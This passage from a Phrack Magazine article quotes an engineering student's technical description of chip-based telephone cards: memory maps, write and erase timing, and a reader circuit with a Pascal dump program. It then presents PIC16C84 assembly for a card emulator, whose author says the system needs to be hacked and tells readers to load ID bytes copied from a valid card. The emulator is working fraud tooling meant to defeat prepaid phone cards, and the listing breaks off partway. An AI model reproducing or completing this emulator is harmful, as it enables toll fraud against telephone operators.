| 0011 0011 | $33 | ---> Andorra
|
||
| 0011 1100 | $3C | ---> Ireland
|
||
| 0100 0111 | $47 | ---> Portugal
|
||
| 0101 0101 | $55 | ---> Czech Republic
|
||
| 0101 1111 | $5F | ---> Gabon
|
||
| 0110 0101 | $65 | ---> Finland
|
||
+-----------+-----+
|
||
13-31 97 --> 248 | | | ---> The units area: each time a unit
|
||
| | | is used, then a bit is set to "1";
|
||
| | |
|
||
| | | Generally the first two units are
|
||
| | | fused in factory as test.
|
||
| | |
|
||
| | |
|
||
+-----------+-----+
|
||
32 249 --> 256 | 0000 0000 | $00 |
|
||
+-----------+-----+
|
||
|
||
|
||
|
||
II ) The cards from ODS, Giesecke & Devrient, ORGA Karten systeme,
|
||
=============================================================
|
||
Uniqua, Gemplus, Schlumberger and Oldenbourg Kartensysteme:
|
||
===========================================================
|
||
|
||
II-1) Introduction:
|
||
------------
|
||
|
||
These cards are in fact 128 bit memory in NMOS technology, and
|
||
the map of these cards are the following:
|
||
|
||
64 bit EPROM written protected (manufacturer area).
|
||
40 bit EEPROM (5x8 bits).
|
||
24 bits set to "1".
|
||
|
||
|
||
II-2) Pinout:
|
||
--------
|
||
|
||
ISO 7816-2
|
||
|
||
-------------+-------------
|
||
| 1 | 5 | Pinout:
|
||
| | | -------
|
||
+-------\ | /-------+
|
||
| 2 +----+ + 6 | 1 : Vcc = 5V 5 : Gnd
|
||
| | | | 2 : Reset 6 : n.c.
|
||
+--------| |--------+ 3 : Clock 7 : I/O
|
||
| 3 | | 7 | 4 : n.c. 8 : n.c.
|
||
| +----+----+ |
|
||
+-------/ | \-------+ n.c. : not connected
|
||
| 4 | 8 |
|
||
| | |
|
||
-------------+-------------
|
||
|
||
|
||
II-3) Main features:
|
||
---------------
|
||
|
||
- ISO 7816- 1/2 compatible.
|
||
- use a single 5V power supply.
|
||
- low power consumption.
|
||
- NMOS technology.
|
||
|
||
II-4) Time Diagrams:
|
||
----------------
|
||
|
||
Reset:
|
||
------
|
||
The address counter is reset to 0 when the clock line CLK is raised
|
||
while the control line R is high. Note that the address counter can not
|
||
be reset when it is in the range 0 to 7.
|
||
|
||
__________________
|
||
_____| |_____________________________________________ Reset
|
||
: :
|
||
: _____ : _____ _____ _____ _____
|
||
_____:_______| |____:_| |_____| |_____| |_____| |_ Clk
|
||
: : : : : : : : : : :
|
||
_____:_______:__________:_:_____:_____:_____:_____:_____:_____:_____:_
|
||
_____:___n___|_____0____:_|_____1_____|_____2_____|_____3_____|___4_:_ (Address)
|
||
: : : : : :
|
||
_____: :_______:___________:___________:___________:_
|
||
_____XXXXXXXXXXXXXXXXXXXX_______|___________|___________|___________|_ Data
|
||
Bit n Bit 0 Bit 1 Bit2 Bit3
|
||
|
||
The address counter is incremented by 1 with each rising edge of the
|
||
clock signal Clk, for as long as the control line R remains low. The
|
||
data held in each addressed bit is output to I/O contact each time Clk
|
||
falls. It is not impossible to decrement the address counter, therefore
|
||
to address an earlier bit, the address counter must be reset then
|
||
incremented to require value.
|
||
|
||
|
||
Write:
|
||
------
|
||
All unwritten or erased bits in the address 64-104 may be unwritten
|
||
to. When a memory cell is unwritten to, it is set to 0. The addressed
|
||
cell is unwritten to by the following sequence.
|
||
|
||
1- R is raised while Clk is low, to disable address counter increment
|
||
for one clock pulse.
|
||
|
||
2- Clk is then raised for a minimum of 10ms to write to the address bit.
|
||
|
||
When to write operation ends, and Clk falls, the address counter is
|
||
unlocked, and the content of the written cell, which is now 0, is output
|
||
to I/O contact if the operation is correct.
|
||
|
||
The next Clk pulse will increment the address by one, then the write
|
||
sequence can be repeated to write the next bit.
|
||
|
||
_____ _____
|
||
____________| |______________________________| |_______________ Reset
|
||
: :
|
||
___ : _____ ___ : _____
|
||
___| |____:__________| |_________| |_____:__________| |____ Clk
|
||
: : : : : : : : :
|
||
___:________:__________:_____:_________:___:_____:__________:_____:_____
|
||
n | n+1 | n+2 | : n+3 | : (Addr)
|
||
---'--------:----------'-----:---------'---:-----:----------'-----:-----
|
||
: : : : : : :
|
||
________ _: : : ____________: ___: : :
|
||
________XXX_XXXXXXXXXXXXXXXXXXX____________ XX___XXXXXXXXXXXXXXXXXXXXXXX I/O
|
||
n n+1 : : n+1 n+2 : :
|
||
: : : :
|
||
write write
|
||
|
||
|
||
WriteCarry:
|
||
-----------
|
||
|
||
A counter is erased by performing the WRITECARRY sequence on the
|
||
stage of the next highest weighing to that to be erased.
|
||
|
||
The writecarry sequence is as follows:
|
||
|
||
1 - Set the address counter to an unwritten bit in the next highest
|
||
counter stage to that to be erased.
|
||
|
||
2 - Increment is disabled on the following rising edge of R where Clk
|
||
remains low.
|
||
|
||
3 - Clk is then raised for a minimum of 10ms, while R is low, to write
|
||
to the next address bit.
|
||
|
||
4 - R is the raised again while Clk remains low to disable increment a
|
||
second time.
|
||
|
||
5 - Clk is the raised for a minimum of 1ms, while R is low, to write to
|
||
the addressed bit a second time, erasing the counter level immediately
|
||
below that the addressed bit.
|
||
|
||
_____ _____
|
||
______| |____________________| |_________________________________ Rst
|
||
: :
|
||
: _______ : _______ ___
|
||
______:___________| |______:_____________| |______| |______ Clk
|
||
: : : : : : : :
|
||
: : : : : : : :
|
||
<------------------------- address n ------------------------>:<--- n+1 ------
|
||
: : : : : : :
|
||
: : : : : : :
|
||
______: : :______: : :__________: _____
|
||
______XXXXXXXXXXXXXXXXXXXXX______XXXXXXXXXXXXXXXXXXXXXXX__________XX_____ I/O
|
||
: : n : : n n+1
|
||
: : : :
|
||
Write Erase
|
||
|
||
II-5) Memory Map:
|
||
-------------
|
||
|
||
Bytes Bits Binary Hexa
|
||
|
||
+-----------+-----+
|
||
1 1 --> 8 | | |
|
||
+-----------+-----+
|
||
2 9 --> 16 | 0010 1111 | $2F | ---> Germany
|
||
| 0011 0111 | $37 | ---> Netherland
|
||
| 0011 1011 | $3B | ---> Greece
|
||
+-----------+-----+
|
||
3 17 --> 24 | | |
|
||
4 25 --> 32 | | | ---> Issuer area (written protected)
|
||
5 33 --> 40 | | |
|
||
6 41 --> 48 | | |
|
||
7 49 --> 56 | | |
|
||
8 57 --> 64 | | |
|
||
+-----------+-----+
|
||
9 65 --> 72 | | | ---> c4096 )
|
||
10 73 --> 80 | | | ---> c512 )
|
||
11 81 --> 88 | | | ---> c64 ) 5 stage octal counter
|
||
12 89 --> 96 | | | ---> c8 )
|
||
13 97 --> 104 | | | ---> c0 )
|
||
+-----------+-----+
|
||
14 105 --> 112 | 1111 1111 | $FF |
|
||
15 113 --> 120 | 1111 1111 | $FF | ---> area of bits set to "1"
|
||
16 120 --> 128 | 1111 1111 | $FF |
|
||
+-----------+-----+
|
||
|
||
The Issuer area:
|
||
----------------
|
||
|
||
This issuer consists of 40 bits. The contents of the issuer area are
|
||
specified by the card issuer, and are fixed during the manufacturing
|
||
process. The contents of the issuer area will include data such as
|
||
serial numbers, dates, and distribution centers.
|
||
|
||
This area may only be read.
|
||
|
||
The Counter area:
|
||
-----------------
|
||
|
||
The counter area stores the card's units. Its initial value is
|
||
specified by the card issuer and set during manufacturing.
|
||
|
||
The counter area is divided into a 5 stage abacus.
|
||
|
||
Note that you can only decrease the counter and it is not authorized to
|
||
write in the counter a value greater than the old value.
|
||
|
||
|
||
I-6) Electrical features:
|
||
--------------------
|
||
|
||
Maximum ratings:
|
||
----------------
|
||
|
||
+--------+------+------+------+
|
||
| Symbol | Min | Max | Unit |
|
||
+----------------------+--------+------+------+------+
|
||
| Supply voltage | Vcc | -0.3 | 6 | V |
|
||
+----------------------+--------+------+------+------+
|
||
| Input voltage | Vss | -0.3 | 6 | V |
|
||
+----------------------+--------+------+------+------+
|
||
| Storage temperature | Tstg | -20 | +55 | 0C |
|
||
+----------------------+--------+------+------+------+
|
||
| Power dissipation | Pd | - | 50 | mW |
|
||
+----------------------+--------+------+------+------+
|
||
|
||
|
||
DC characteristics:
|
||
------------------
|
||
+--------+-----+-----+-----+------+
|
||
| Symbol | Min.| Typ.| Max.| Unit |
|
||
+---------------------------+--------+-----+-----+-----+------+
|
||
| Supply current | Icc | - | - | 5 | mA |
|
||
+---------------------------+--------+-----+-----+-----+------+
|
||
| Input Voltage (low) | Vl | 0 | - | 0.8 | V |
|
||
+---------------------------+--------+-----+-----+-----+------+
|
||
| Input voltage (high) | Vh | 3.5 | - | Vcc | V |
|
||
+---------------------------+--------+-----+-----+-----+------+
|
||
| Input current R | Ih | - | - | 100 | uA |
|
||
+---------------------------+--------+-----+-----+-----+------+
|
||
| Input current Clk | Il | - | - | 100 | uA |
|
||
+---------------------------+--------+-----+-----+-----+------+
|
||
| Output current (Vol=0.5V) | Iol | - | - | 10 | uA |
|
||
+---------------------------+--------+-----+-----+-----+------+
|
||
| Output current (Voh=5V) | Ioh | - | - | 0.5 | mA |
|
||
+---------------------------+--------+-----+-----+-----+------+
|
||
|
||
AC characteristics:
|
||
------------------ +--------+------+------+------+
|
||
| Symbol | Min. | Max. | Unit |
|
||
+----------------------+--------+------+------+------+
|
||
| Pulse duration | tr | 50 | - | us |
|
||
| R address reset | | | | |
|
||
+----------------------+--------+------+------+------+
|
||
| Pulse duration | ts | 10 | - | us |
|
||
| R write | | | | |
|
||
+----------------------+--------+------+------+------+
|
||
| High level Clk | th | 8 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
| Low level Clk | tl | 12 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
| Write window | Twrite | 10 | - | ms |
|
||
+----------------------+--------+------+------+------+
|
||
| Erase window | Terase | 10 | - | ms |
|
||
+----------------------+--------+------+------+------+
|
||
| | tv1 | 5 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
| | tv2 | 3.5 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
| | tv3 | 3.5 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
| | tv4 | 3.5 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
| | tv5 | 3.5 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
| | tv6 | 5 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
| | tv7 | 5 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
| | tv8 | 10 | - | us |
|
||
+----------------------+--------+------+------+------+
|
||
|
||
|
||
|
||
III) The Reader Schematic:
|
||
======================
|
||
|
||
External 5V (Optional)
|
||
|
||
5V o------,
|
||
| / T2 PNP d13 r7 10
|
||
0V o--, | / BC 177 |\ | _____
|
||
| | ,-------o/ o--*------. E C .--| >+-[_____]--------,
|
||
__+__ | | | \ / |/ | |
|
||
\\\\\ | __|__ Battery | \ / |
|
||
| - 22.5V | --------- |
|
||
....... | | | _____ | _____ |
|
||
: | __+__ +--[_____]--*--[_____]--, |
|
||
D2 : | \\\\\ r6 150k r5 15k | |
|
||
4 o-------|---------------------------*------------------|-------------, |
|
||
: | | r3 220k / C | |
|
||
Ack : | | _____ |/ T1 - NPN | |
|
||
10 o------|--------. '--[_____]-*---| BC107 | |
|
||
: | | _____ | |\ | |
|
||
: ,-, ,-, +--[_____]-' \ E | |
|
||
: | |r2 | |r1 | r4 390k | | |
|
||
: | |220 | |22k __+__ __+__ | |
|
||
: |_| |_| \\\\\ \\\\\ | |
|
||
: | |\ | | | |
|
||
: *--| >+--|----------------*----------------------------------|--*
|
||
: | |/ | | ,-----|-----------------------------, | |
|
||
: | d1 | | | ,----------,----------, | | |
|
||
: | | | *---|--* Fuse | Reset *--|---' | |
|
||
: | | | | |----------|----------| | |
|
||
D0 : | | | ,-|---|--* I/O | Clk *--|---, | |
|
||
2 o-------|--------|----------' | | |----------|----------| | | |
|
||
: | | | '---|--* Vpp | R/W *--|---|----' |
|
||
Busy : | | | |----------|----------| | |
|
||
11 o------|--------|--------------' ,---|--* Gnd | 5V * | | |
|
||
: | | | '----------'-------|--' | |
|
||
D1 : | | __+__ Chip connector | | |
|
||
3 o-------|--------|--------, \\\\\ | | |
|
||
: | | '------------------------------|------' |
|
||
Str : | |\ | | | |
|
||
1 o-------*--| >+--*----*----*----*----*-------------------' |
|
||
: d2|/ | |d3 |d4 |d5 |d6 |d7 |
|
||
: -+- -+- -+- -+- -+- |
|
||
: /_\ /_\ /_\ /_\ /_\ |
|
||
D3 : | | | | | |\ | d8 |
|
||
5 o----------------*----|----|----|----|---| >+-------*-------------------'
|
||
: | | | | |/ | |
|
||
: | | | | |
|
||
D4 : | | | | |\ | d9 |
|
||
6 o---------------------*----|----|----|---| >+-------*
|
||
: | | | |/ | |
|
||
: | | | |
|
||
D5 : | | | |\ | d10 |
|
||
7 o--------------------------*----|----|---| >+-------*
|
||
: | | |/ | |
|
||
: | | |
|
||
D6 : | | |\ | d11 |
|
||
8 o-------------------------------*----|---| >+-------*
|
||
: | |/ | |
|
||
: | |
|
||
D7 : | |\ | d12 |
|
||
9 o------------------------------------*---| >+-------'
|
||
: |/ |
|
||
:
|
||
:
|
||
25 o------.
|
||
: |
|
||
.......: | d1 to d13: 1N4148
|
||
__+__
|
||
\\\\\
|
||
|
||
Centronics port
|
||
|
||
|
||
|
||
|
||
IV) The program:
|
||
===========
|
||
|
||
The following program will enable you to read telecards on you PC if you
|
||
build the reader.
|
||
|
||
--------------- cut here (begin)
|
||
{*****************************************************************************}
|
||
{ T E L E C A R D . PAS }
|
||
{*****************************************************************************}
|
||
{ This program enable you to dumb the memory of electronics phonecards }
|
||
{ from all over the world, so that you will be able to see which country }
|
||
{ the card is from how many units are left and so on .... }
|
||
{*****************************************************************************}
|
||
{ }
|
||
{ Written by Stephane BAUSSON (1993) }
|
||
{ }
|
||
{ Email: sbausson@ensem.u-nancy.fr }
|
||
{ }
|
||
{ Snail Mail Address: 4, Rue de Grand }
|
||
{ F-88630 CHERMISEY }
|
||
{ France }
|
||
{ }
|
||
{*****************************************************************************}
|
||
{* Thanks to: Tomi Engdahl (Tomi.Engdahl@hut.fi) *}
|
||
{*****************************************************************************}
|
||
|
||
USES crt,dos;
|
||
|
||
CONST port_address=$378; { lpr1 chosen }
|
||
|
||
TYPE string8=string[8];
|
||
string2=string[2];
|
||
|
||
VAR reg : registers;
|
||
i,j : integer;
|
||
Data : array[1..32] of byte;
|
||
car : char;
|
||
byte_number : integer;
|
||
displaying : char;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
PROCEDURE Send(b:byte);
|
||
|
||
BEGIN port[port_address]:=b;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
FUNCTION Get:byte;
|
||
|
||
BEGIN get:=port[port_address+1];
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
{ FUNCTION dec2hexa_one(decimal_value):hexa_character_representation; }
|
||
{ }
|
||
{ - convert a 4 bit long decimal number to hexadecimal. }
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
FUNCTION dec2hexa_one(value:byte):char;
|
||
|
||
BEGIN case value of
|
||
0..9 : dec2hexa_one:=chr(value+$30);
|
||
10..15 : dec2hexa_one:=chr(value+$37);
|
||
END;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
{ FUNCTION d2h(decimal_byte):string2; }
|
||
{ }
|
||
{ - convert a decimal byte to its hexadecimal representation. }
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
FUNCTION d2h(value:byte):string2;
|
||
|
||
VAR msbb,lsbb:byte;
|
||
|
||
BEGIN msbb:=0;
|
||
if ( value >= $80 ) then
|
||
BEGIN msbb:=msbb+8;
|
||
value:=value-$80;
|
||
END;
|
||
if ( value >= $40 ) then
|
||
BEGIN msbb:=msbb+4;
|
||
value:=value-$40;
|
||
END;
|
||
if ( value >= $20 ) then
|
||
BEGIN msbb:=msbb+2;
|
||
value:=value-$20;
|
||
END;
|
||
if ( value >= $10 ) then
|
||
BEGIN msbb:=msbb+1;
|
||
value:=value-$10;
|
||
END;
|
||
|
||
lsbb:=0;
|
||
if ( value >= $08 ) then
|
||
BEGIN lsbb:=lsbb+8;
|
||
value:=value-$08;
|
||
END;
|
||
if ( value >= $04 ) then
|
||
BEGIN lsbb:=lsbb+4;
|
||
value:=value-$04;
|
||
END;
|
||
if ( value >= $02 ) then
|
||
BEGIN lsbb:=lsbb+2;
|
||
value:=value-$02;
|
||
END;
|
||
if ( value >= $01 ) then
|
||
BEGIN lsbb:=lsbb+1;
|
||
value:=value-$01;
|
||
END;
|
||
d2h := dec2hexa_one(msbb) + dec2hexa_one(lsbb);
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
Function Binary( b : byte):string8;
|
||
|
||
var weight : byte;
|
||
s : string8;
|
||
|
||
BEGIN weight:=$80;
|
||
s:='';
|
||
while (weight > 0) do
|
||
BEGIN if ((b and weight) = weight) then s:=s+'1'
|
||
else s:=s+'0';
|
||
weight:=weight div $02;
|
||
END;
|
||
Binary:=s;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
FUNCTION Units:byte;
|
||
|
||
VAR u, i : integer;
|
||
s : string8;
|
||
|
||
BEGIN u:=0;
|
||
i:=13;
|
||
while (Data[i] = $FF) do
|
||
BEGIN u:=u+8;
|
||
i:=i+1;
|
||
END;
|
||
s:=Binary(Data[i]);
|
||
while(s[1]='1') do
|
||
BEGIN inc(u);
|
||
s:=copy(s,2,length(s));
|
||
END;
|
||
units:=u;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
function Units_2:LongInt;
|
||
|
||
BEGIN Units_2:=4096*Data[9]+512*Data[10]+64*Data[11]+8*Data[12]+Data[13];
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
PROCEDURE Card_Type;
|
||
|
||
BEGIN case Data[2] of
|
||
$03: BEGIN write('Telecard - France - ');
|
||
case Data[12] of
|
||
$13: write('120 Units - ',units-130,' Units left');
|
||
$06: write('50 Units - ',units-60,' Units left');
|
||
$15: write('40 Units - ',units-40,' Units left');
|
||
END;
|
||
END;
|
||
$2F:BEGIN write('Telecard - Germany - ', Units_2, ' Units left');
|
||
END;
|
||
$3B:BEGIN write('Telecard - Greece - ', Units_2, ' Units left');
|
||
END;
|
||
$83:BEGIN write('Telecard');
|
||
case Data[12] of
|
||
$1E: write(' - Sweden');
|
||
$30: write(' - Norway');
|
||
$33: write(' - Andorra');
|
||
$3C: write(' - Ireland');
|
||
$47: write(' - Portugal');
|
||
$55: write(' - Czech Republic');
|
||
$5F: write(' - Gabon');
|
||
$65: write(' - Finland');
|
||
END;
|
||
if (Data[12] in [$30,$33,$3C,$47,$55,$65]) then
|
||
BEGIN case ((Data[3] and $0F)*$100+Data[4]) of
|
||
$012: write (' - 10 Units - ',units-12,' Units left');
|
||
$024: write (' - 22 Units - ',units-24,' Units left');
|
||
$027: write (' - 25 Units - ',units-27,' Units left');
|
||
$032: write (' - 30 Units - ',units-32,' Units left');
|
||
$052: write (' - 50 Units - ',units-52,' Units left');
|
||
$067: write (' - 65 Units - ',units-62,' Units left');
|
||
$070: write (' - 70 Units - ',units-70,' Units left');
|
||
$102: write (' - 100 Units - ',units-102,' Units left');
|
||
$152: write (' - 150 Units - ',units-152,' Units left');
|
||
END;
|
||
END;
|
||
{ write(' - N0 ',Data[5]*$100+Data[6]);}
|
||
END;
|
||
END;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
PROCEDURE waiting;
|
||
|
||
BEGIN send($00);
|
||
write('Enter a card in the reader and press a key ...');
|
||
repeat until key pressed;
|
||
gotoxy(1, wherey);
|
||
clreol;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
PROCEDURE Full_Displaying;
|
||
|
||
BEGIN writeln('Memory dump:');
|
||
for i:=1 to 80 do write('-');
|
||
for i:=1 to (byte_number div 6 + 1) do
|
||
BEGIN for j:=1 to 6 do
|
||
BEGIN if j+6*(i-1) <= byte_number then write(binary(Data[j+6*(i-1)]):9);
|
||
END;
|
||
gotoxy(60,wherey);
|
||
for j:=1 to 6 do
|
||
if j+6*(i-1) <= byte_number then write(d2h(Data[j+6*(i-1)]),' ');
|
||
writeln;
|
||
END;
|
||
for i:=1 to 80 do write('-');
|
||
Card_Type;
|
||
writeln;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
PROCEDURE Short_Displaying;
|
||
|
||
VAR j : integer;
|
||
|
||
BEGIN for j:=1 to byte_number do
|
||
BEGIN write(d2h(Data[j]),' ');
|
||
END;
|
||
writeln;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
PROCEDURE Reading;
|
||
|
||
VAR i, j : integer;
|
||
Value : byte;
|
||
|
||
BEGIN send($FE);
|
||
send($F8);
|
||
for i:=1 to 32 do
|
||
BEGIN Value:=0;
|
||
for j:=1 to 8 do
|
||
BEGIN Value:=Value*$02 + ((get and $08) div $08);
|
||
send($FB);
|
||
delay(1);
|
||
send($F8);
|
||
END;
|
||
Data[i]:=Value;
|
||
END;
|
||
case displaying of
|
||
'F':full_displaying;
|
||
'S':short_displaying;
|
||
END;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
PROCEDURE writing;
|
||
|
||
VAR i,n:integer;
|
||
car:char;
|
||
|
||
BEGIN write('Which bit do you want to set to "1" : ');
|
||
readln(n);
|
||
|
||
waiting;
|
||
car:=readkey;
|
||
|
||
send($FA);
|
||
send($F8);
|
||
for i:=1 to n do
|
||
BEGIN send($F9);
|
||
if i=n then
|
||
BEGIN send($FD);
|
||
delay(20);
|
||
send($FF);
|
||
delay(20);
|
||
END;
|
||
send($FB);
|
||
END;
|
||
reading;
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
PROCEDURE Saving;
|
||
|
||
VAR filename : string;
|
||
f : text;
|
||
i : word;
|
||
|
||
BEGIN write('Enter the filename: ');
|
||
readln(filename);
|
||
assign(f, filename);
|
||
rewrite(f);
|
||
for i:=1 to byte_number do write(f,d2h(Data[i]),' ');
|
||
close(f);
|
||
END;
|
||
|
||
{-----------------------------------------------------------------------------}
|
||
|
||
PROCEDURE initialize;
|
||
|
||
VAR i : integer;
|
||
|
||
BEGIN byte_number:=32;
|
||
displaying:='F';
|
||
clrscr;
|
||
writeln(' 1 - to dump a 256 bits card');
|
||
writeln(' 2 - to dump a 128 bits card');
|
||
writeln(' F - to display in full format');
|
||
window(41,1,80,25);
|
||
writeln(' S - to display in short format');
|
||
writeln(' F2 - to save in a file');
|
||
writeln(' Q - to exit the program');
|
||
window(1,4,80,25);
|
||
for i:=1 to 80 do write('=');
|
||
window(1,5,80,25);
|
||
END;
|
||
|
||
{=============================================================================}
|
||
|
||
BEGIN initialize;
|
||
repeat waiting;
|
||
car:=upcase(readkey);
|
||
case car of
|
||
'W':writing;
|
||
'Q':;
|
||
'1':byte_number:=32;
|
||
'2':byte_number:=16;
|
||
'F','S':displaying:=car;
|
||
#00: BEGIN car:=readkey;
|
||
if car=#60 then saving;
|
||
END;
|
||
else reading;
|
||
END;
|
||
until car='Q';
|
||
END.
|
||
--------------- cut here (end)
|
||
|
||
|
||
|
||
|
||
|
||
_/_/_/_/_/ Stephane BAUSSON
|
||
_/_/_/_/_/ Engineering student at ENSEM (Nancy - France)
|
||
_/_/_/_/_/ Smail: 4, Rue de Grand, F-88630 CHERMISEY, France
|
||
_/_/_/_/_/
|
||
_/_/_/_/_/ Email: sbausson@ensem.u-nancy.fr
|
||
|
||
------------------------------------------------------------------------------
|
||
<End of text quoted from Stephane Bausson's text about the telephone cards>.
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 11 of 18
|
||
|
||
Electronic Telephone Cards: How to make your own!
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
(continued)
|
||
|
||
|
||
|
||
The Program:
|
||
~~~~~~~~~~~~
|
||
Well, when I saw this phile about the cards the first time, about a year
|
||
ago I quickly realized that this system is very unsecure and really
|
||
needs to be hacked. So, now I present you with a piece of software for
|
||
the PIC 16C84 RISC micro-controller from Microchip that will take care
|
||
of emulating the cards used by Schlumberger and others. This system is
|
||
to be found in Scandinavia (Sweden, Norway and Finland), Spain, France
|
||
and other countries. I do know that France probably needs some small
|
||
modifications for this to work, but I see no reason to as why it
|
||
shouldn't do so! For this to work, you need to have access to a PROM
|
||
burner which can handle the PIC 16C84, or you might just build one
|
||
yourself as I include some plans for that in the UUEncoded block to be
|
||
found at the end of this phile. First of all, you have to read off the
|
||
first 12 bytes of data from a valid card from the country you wish your
|
||
emulator to work in. This because I don't think it would be a good idea
|
||
to publish stolen card identities in Phrack. Then you simply enter those
|
||
12 bytes of data in the proper place in my program and compile it.
|
||
That's it... And since I happen to choose a version of the PIC with
|
||
internal Data EEPROM, that means that the first 12 locations of the Data
|
||
EEPROM should contain the card id bytes. As of today this code should
|
||
work smooth and fine, but maybe you'll need to modify it later on when
|
||
Schlumberger gets tired of my hack. But since the PIC is a very fast and
|
||
powerful micro-controller it might be quite hard for them to come up
|
||
with a solution to this problem. Let's have a look at the PIC Software!
|
||
(Note that the current version of Microchip's PICSTART 16B package is
|
||
unable to program the DATA EEPROM array in the 16C84 so if you are going
|
||
to use that one, use the other version of the source code which you'll
|
||
find in the UUEncoded part!).
|
||
|
||
<Start of TELECARD.ASM>.
|
||
==============================================================================
|
||
|
||
TITLE "ISO 7816 Synchronous Memory Card Emulator"
|
||
LIST P=PIC16C84, R=HEX
|
||
INCLUDE "PICREG.EQU"
|
||
|
||
; PIC16C84 I/O Pin Assignment List
|
||
|
||
CRD_CLK equ 0 ; RB0 + RA4 = Card Clock
|
||
CRD_DTA equ 0 ; RA0 = Card Data Output
|
||
CRD_RST equ 1 ; RB1 = Card Reset, Low-Active
|
||
CRD_WE equ 7 ; RB7 = Card Write-Enable, Hi-Active
|
||
|
||
; PIC16C84 RAM Register Assignments
|
||
|
||
CRD_ID equ 0x00c ; Smartcard ID, 12 bytes
|
||
FUSCNT equ 0x018 ; Fused units counter
|
||
BITCNT equ 0x019 ; Bitcounter
|
||
LOOPCNT equ 0x01a ; Loop Counter
|
||
EE_FLAG equ 0x01b ; EEPROM Write Flag
|
||
TEMP1 equ 0x01c ; Temporary Storage #1
|
||
TEMP2 equ 0x01d ; Temporary Storage #2
|
||
TEMP3 equ 0x01e ; Temporary Storage #3
|
||
TEMP4 equ 0x01f ; Temporary Storage #4
|
||
TEMP_W equ 0x02e ; Temporary W Save Address
|
||
TEMP_S equ 0x02f ; Temporary STATUS Save Address
|
||
|
||
org 0x2000 ; Chip ID Data
|
||
dw 042,042,042,042
|
||
|
||
org 0x2007 ; Configuration Fuses
|
||
dw B'00000001'
|
||
|
||
org 0x2100 ; Internal Data EEPROM Memory (Card ID!!!)
|
||
db 0x081,0x042,0x000,0x011,0x022,0x033
|
||
db 0x044,0x055,0x066,0x077,0x011,0x084
|
||
db 0x002 ; Default used up credits value
|
||
|
||
org PIC84 ; Reset-vector
|
||
goto INIT ; Jump to initialization routine
|
||
|
||
org INTVEC ; Interrupt-vector
|
||
push ; Save registers
|
||
call INTMAIN ; Call main interrupt routine
|
||
pop ; Restore registers
|
||
retfie ; return from interrupt & clear flag
|
||
|
||
org 0x010 ; Start address for init rout.
|
||
INIT bsf STATUS,RP0 ; Access register bank 1
|
||
clrwdt ; Clear watchdog timer
|
||
movlw B'11101000' ; OPTION reg. settings
|
||
movwf OPTION ; Store in OPTION register
|
||
movlw B'11111110' ; Set PORT A Tristate Latches
|
||
movwf TRISA ; Store in PORT A tristate register
|
||
movlw B'11111111' ; Set PORT B Tristate Latches
|
||
movwf TRISB ; Store in PORT B tristate register
|
||
bcf STATUS,RP0 ; Access register bank 0
|
||
clrf RTCC ; Clear RTCC
|
||
clrf PORTA ; Clear PORTA
|
||
clrf PORTB ; Clear PORTB
|
||
movlw 0d ; 13 bytes to copy
|
||
movwf LOOPCNT ; Store in LOOPCNT
|
||
movlw 0c ; Start storing at $0c in RAM
|
||
movwf FSR ; Store in FSR
|
||
clrf EEADR ; Start at EEPROM Address 0
|
||
EECOPY
|
||
bsf STATUS,RP0 ; Access register bank 1
|
||
bsf EECON1,RD ; Set EECON1 Read Data Flag
|
||
bcf STATUS,RP0 ; Access register bank 0
|
||
movfw EEDATA ; Read one byte of EEPROM Data
|
||
movwf INDIR ; Store in RAM pointed at by FSR
|
||
incf FSR ; Increase FSR pointer
|
||
incf EEADR ; Increase EEPROM Address Pointer
|
||
decfsz LOOPCNT,1 ; Decrease LOOPCNT until it's 0
|
||
goto EECOPY ; Go and get some more bytes!
|
||
bsf STATUS,RP0 ; Access register bank 1
|
||
bcf EECON1,EEIF ; Clear EEPROM Write Int. Flag
|
||
bcf EECON1,WREN ; EEPROM Write Disable
|
||
bcf STATUS,RP0 ; Access register bank 0
|
||
movlw B'10010000' ; Enable INT Interrupt
|
||
movwf INTCON ; Store in INTCON
|
||
|
||
MAIN bsf STATUS,RP0 ; Access register bank 1
|
||
btfsc EECON1,WR ; Check if EEPROM Write Flag Set
|
||
goto MAIN ; Skip if EEPROM Write is Completed
|
||
bcf EECON1,EEIF ; Reset Write Completion Flag
|
||
bcf EECON1,WREN ; EEPROM Write Disable
|
||
bcf STATUS,RP0 ; Access register bank 0
|
||
btfss EE_FLAG,LSB ; Check for EEPROM Write Flag
|
||
goto MAIN ; If not set, jump back and wait some more
|
||
clrf EE_FLAG ; Clear EEPROM Write Flag
|
||
movlw 0c ; Units is stored in byte $0c
|
||
movwf EEADR ; Store in EEPROM Address Counter
|
||
movfw FUSCNT ; Get fused units counter
|
||
movwf EEDATA ; Store in EEDATA
|
||
bsf STATUS,RP0 ; Access register bank 1
|
||
bsf EECON1,WREN ; EEPROM Write Enable
|
||
